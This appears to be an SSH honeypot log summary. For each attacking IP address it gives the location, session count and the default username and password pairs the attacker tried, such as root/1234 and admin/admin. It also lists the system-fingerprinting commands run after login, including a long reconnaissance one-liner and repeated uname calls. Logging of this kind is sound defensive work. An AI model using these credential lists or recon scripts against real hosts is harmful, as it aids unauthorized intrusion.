$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 eagle_root_22 (137.184.8.195) β€” Santa Clara, United States Β· 7 sessions Β· 28 cmds
2026-03-02 15:28 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 yankee_root_20 (107.170.51.137) β€” Secaucus, United States Β· 2 sessions Β· 8 cmds
2026-03-02 15:29 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 pretzel_root_18 (167.99.244.212) β€” Frankfurt am Main, Germany Β· 6 sessions Β· 24 cmds
2026-03-02 13:41 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 star_root_22 (165.245.135.25) β€” Douglasville, United States Β· 3 sessions Β· 12 cmds
2026-03-02 11:52 EST Β· as oracle/oracle, postgres/postgres, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 eagle_root_23 (64.23.234.226) β€” Santa Clara, United States Β· 1 session Β· 4 cmds
2026-03-02 11:35 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 reef_root_8 (170.64.136.104) β€” Sydney, Australia Β· 1 session Β· 4 cmds
2026-03-02 11:35 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 barbie_sol (134.199.166.218) β€” Sydney, Australia Β· 10 sessions Β· 10 cmds
2026-03-02 10:51 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 10x across 10 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—10
🎭 crumpet_sol_4 (143.110.169.194) β€” Slough, United Kingdom Β· 84 sessions Β· 84 cmds
2026-03-01 17:57 EST Β· as sol/123456, sol/12345678, sol/sol
Ran uname 84x across 84 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—84
↳ obfuscated system check
🎭 crumpet_sol_3 (209.38.167.114) β€” Slough, United Kingdom Β· 10 sessions Β· 10 cmds
2026-03-02 09:48 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 10x across 10 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—10
🎭 tea_sol (161.35.172.20) β€” Slough, United Kingdom Β· 6 sessions Β· 6 cmds
2026-03-02 01:14 EST Β· as sol/sol, solana/solana, ubuntu/ubuntu
Ran uname 6x across 6 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—6
↳ obfuscated system check
🎭 cowboy_sol_3 (134.199.203.41) β€” Douglasville, United States Β· 4 sessions Β· 4 cmds
2026-03-02 03:46 EST Β· as solana/solana, ubuntu/ubuntu, validator/validator
Ran uname 4x across 4 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—4
↳ obfuscated system check
🎭 gouda_sol_7 (159.223.13.92) β€” Amsterdam, Netherlands Β· 40 sessions Β· 40 cmds
2026-03-01 16:50 EST Β· as firedancer/firedancer, raydium/raydium, sol/123
Ran uname 40x across 40 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—40
↳ obfuscated system check
🎭 scone_root_4 (209.97.141.141) β€” Slough, United Kingdom Β· 11 sessions Β· 44 cmds
2026-03-02 07:18 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 11x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—11
$ uname -s -v -n -m 2 > /dev/null Γ—11
$ uname -m 2 > /dev/null Γ—11
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—11
🎭 beefeater_root (167.71.138.96) β€” Slough, United Kingdom Β· 10 sessions Β· 40 cmds
2026-03-02 07:00 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 yankee_sol_2 (157.230.83.231) β€” North Bergen, United States Β· 16 sessions Β· 16 cmds
2026-03-02 07:20 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 lotus_root_16 (143.110.240.222) β€” Bengaluru, India Β· 2 sessions Β· 8 cmds
2026-03-02 07:50 EST Β· as postgres/postgres, root/qwerty
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 bike_root_13 (142.93.136.45) β€” Amsterdam, Netherlands Β· 12 sessions Β· 48 cmds
2026-03-02 07:18 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 12x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—12
$ uname -s -v -n -m 2 > /dev/null Γ—12
$ uname -m 2 > /dev/null Γ—12
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—12
🎭 fog_root_14 (139.59.177.145) β€” Slough, United Kingdom Β· 3 sessions Β· 12 cmds
2026-03-02 07:01 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 poutine_root_4 (147.182.147.129) β€” Toronto, Canada Β· 3 sessions Β· 12 cmds
2026-03-02 06:57 EST Β· as oracle/oracle, postgres/postgres, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 stein_root_22 (104.248.45.206) β€” Frankfurt am Main, Germany Β· 6 sessions Β· 24 cmds
2026-03-02 06:16 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 phantom_root_48 (159.89.203.77) β€” Singapore, Singapore Β· 6 sessions Β· 24 cmds
2026-03-02 06:07 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 dutch_root_12 (159.223.211.109) β€” Amsterdam, Netherlands Β· 8 sessions Β· 32 cmds
2026-03-02 06:05 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 pretzel_root_2 (138.197.188.50) β€” Frankfurt am Main, Germany Β· 9 sessions Β· 36 cmds
2026-03-02 05:15 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
